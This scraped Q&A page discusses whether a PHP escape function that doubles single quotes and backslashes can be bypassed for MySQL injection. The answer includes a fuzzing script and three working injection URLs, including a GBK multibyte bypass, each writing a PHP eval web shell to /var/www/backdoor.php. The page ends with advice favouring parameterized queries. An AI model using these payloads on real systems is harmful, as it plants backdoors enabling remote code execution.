Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 1009137
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 16, 20262026-05-16T08:52:45+00:00 2026-05-16T08:52:45+00:00

In an application I’m working on I’ve found a weak escape function to prevent

  • 0

In an application I’m working on I’ve found a weak escape function to prevent injection. I’m trying to prove this, but I’m having trouble coming up with a simple example.

The escape function works as follows (PHP example).

function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

I realize this doesn’t deal with values encoded using double quotes (“), but all queries are constructed using single quotes (‘).

Who can defeat this escape function?

Requirements:

  • String in queries are always enclosed in quotes.
  • Double-quotes are never used.
  • MySQL connection is set to UTF8.

Simple examples:

$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-16T08:52:45+00:00Added an answer on May 16, 2026 at 8:52 am

    If you are just replacing ' with '' then you could exploit this by injecting a \' which will turn into a \'' and this will allow you to break out because this gives you a “character literal” single-quote and a real single-quote. However, the replacement of "\\" with "\\\\" negates this attack. The double-single-quote is used to “escape” single quotes for MS-SQL, but this isn’t proper for MySQL, but it can work.

    The following codes proves that this escape function is safe for all except three conditions. This code permutes though all possible variations of control charters, and testing each one to make sure an error doesn’t occur with a single quote encased select statement. This code was tested on MySQL 5.1.41.

    <?php
    mysql_connect("localhost",'root','');
    function escape($value) {
    
      $value = str_replace("'","''",$value);
      $value = str_replace("\\","\\\\",$value);
      return $value;
    
    }
    
    $chars=array("'","\\","\0","a");
    
    for($w=0;$w<4;$w++){
        for($x=0;$x<4;$x++){
            for($y=0;$y<4;$y++){
                for($z=0;$z<4;$z++){
                    mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
                }       
            }
        }
    }
    print "Escape function is safe :(";
    ?>
    

    Vulnerable Condition 1: no quote marks used.

    mysql_query("select username from users where id=".escape($_GET['id']));
    

    Exploit:

    http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
    

    Vulnerable Condition 2: double quote marks used

    mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
    

    Exploit:

    http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
    

    Vulnerable Condition 2: single quotes are used, however an alternative character set is used..

    mysql_set_charset("GBK")
    mysql_query("select username from users where id='".escape($_GET['id'])."'");
    

    Exploit:

    http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
    

    The conclusion is to always use mysql_real_escape_string() as the escape routine for MySQL. Parameterized query libraries like pdo and adodb always use mysql_real_escape_string() when connected to a mysql database. addslashes() is FAR BETTER of an escape routine because it takes care of vulnerable condition 2. It should be noted that not even mysql_real_escape_string() will stop condition 1, however a parameterized query library will.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

Application : HTA (therefore IE) This is an application that uses SendKeys to populate
My application has one activity which starts two services but does not bind them.
Application stores configuration data in custom section of configuration file. This information is used
Application : I am working on one mid-large size application which will be used
Application: This is a workshop proposal system for a conference. A user can create
Application.Run(form); Actually I tried to call this from my project. I got this exception.
APPLICATION DESCRIPTION : I am a new iPhone developer. I am working on an
Application.Run(new Main()); This line gives TypeInitializationException was unhandled after I switched from 3.5 to
Application able to record error in OnError, but we are not able to do
Application has an auxiliary thread. This thread is not meant to run all the

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.